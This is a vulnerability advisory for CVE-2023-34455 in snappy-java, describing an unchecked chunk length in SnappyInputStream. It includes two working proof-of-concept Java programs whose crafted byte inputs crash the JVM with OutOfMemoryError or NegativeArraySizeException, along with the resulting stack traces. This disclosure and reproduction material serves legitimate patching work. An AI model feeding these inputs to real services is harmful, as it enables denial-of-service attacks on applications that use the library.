CVE-2023-34455

Due to use of an unchecked chunk length, an unrecoverable fatal error can occur.

Description

The code in the function hasNextChunk in the file SnappyInputStream.java checks if a given stream has more chunks to read. It does that by attempting to read 4 bytes. If it wasn’t possible to read the 4 bytes, the function returns false. Otherwise, if 4 bytes were available, the code treats them as the length of the next chunk.

        int readBytes = readNext(header, 0, 4);
        if (readBytes < 4) {
            return false;
        }

        int chunkSize = SnappyOutputStream.readInt(header, 0);
        if (chunkSize == SnappyCodec.MAGIC_HEADER_HEAD) {
            .........
        }

        // extend the compressed data buffer size
        if (compressed == null || chunkSize > compressed.length) {
            compressed = new byte[chunkSize];
        }

In the case that the “compressed” variable is null, a byte array is allocated with the size given by the input data. Since the code doesn’t test the legality of the “chunkSize” variable, it is possible to pass a negative number (such as 0xFFFFFFFF which is -1), which will cause the code to raise a “java.lang.NegativeArraySizeException” exception. A worse case would happen when passing a huge positive value (such as 0x7FFFFFFF), which would raise the fatal “java.lang.OutOfMemoryError” error.

Steps To Reproduce

Compile and run the following code:

package org.example;
import org.xerial.snappy.SnappyInputStream;

import java.io.*;

public class Main {

    public static void main(String[] args) throws IOException {
        byte[] data = {-126, 'S', 'N', 'A', 'P', 'P', 'Y', 0, 0, 0, 0, 0, 0, 0, 0, 0,(byte) 0x7f, (byte) 0xff, (byte) 0xff, (byte) 0xff};
        SnappyInputStream in = new SnappyInputStream(new ByteArrayInputStream(data));
        byte[] out = new byte[50];
        try {
            in.read(out);
        }
        catch (Exception ignored) {

        }
    }
}

The program will crash with the following error (or similar), even though there is a catch clause, since “OutOfMemoryError” does not get caught by catching the “Exception” class:

Exception in thread "main" java.lang.OutOfMemoryError: Requested array size exceeds VM limit
	at org.xerial.snappy.SnappyInputStream.hasNextChunk(SnappyInputStream.java:422)
	at org.xerial.snappy.SnappyInputStream.read(SnappyInputStream.java:167)
	at java.base/java.io.InputStream.read(InputStream.java:217)
	at org.example.Main.main(Main.java:12)

Alternatively - compile and run the following code:

package org.example;
import org.xerial.snappy.SnappyInputStream;

import java.io.*;

public class Main {

    public static void main(String[] args) throws IOException {
        byte[] data = {-126, 'S', 'N', 'A', 'P', 'P', 'Y', 0, 0, 0, 0, 0, 0, 0, 0, 0,(byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff};
        SnappyInputStream in = new SnappyInputStream(new ByteArrayInputStream(data));
        byte[] out = new byte[50];
        in.read(out);
    }
}

The program will crash with the following error (or similar):

Exception in thread "main" java.lang.NegativeArraySizeException: -1
	at org.xerial.snappy.SnappyInputStream.hasNextChunk(SnappyInputStream.java:422)
	at org.xerial.snappy.SnappyInputStream.read(SnappyInputStream.java:167)
	at java.base/java.io.InputStream.read(InputStream.java:217)
	at org.example.Main.main(Main.java:12)

It is important to note that these examples were written by using a flow that is generally used by developers, and can be seen for example in the Apache project “flume”: https://github.com/apache/flume/blob/f9dbb2de255d59e35e3668a5c6c66a268a055207/flume-ng-channels/flume-file-channel/src/main/java/org/apache/flume/channel/file/Serialization.java#L278. Since they used try-catch, the “NegativeArraySizeException” exception won’t harm their users, but the “OutOfMemoryError” error can.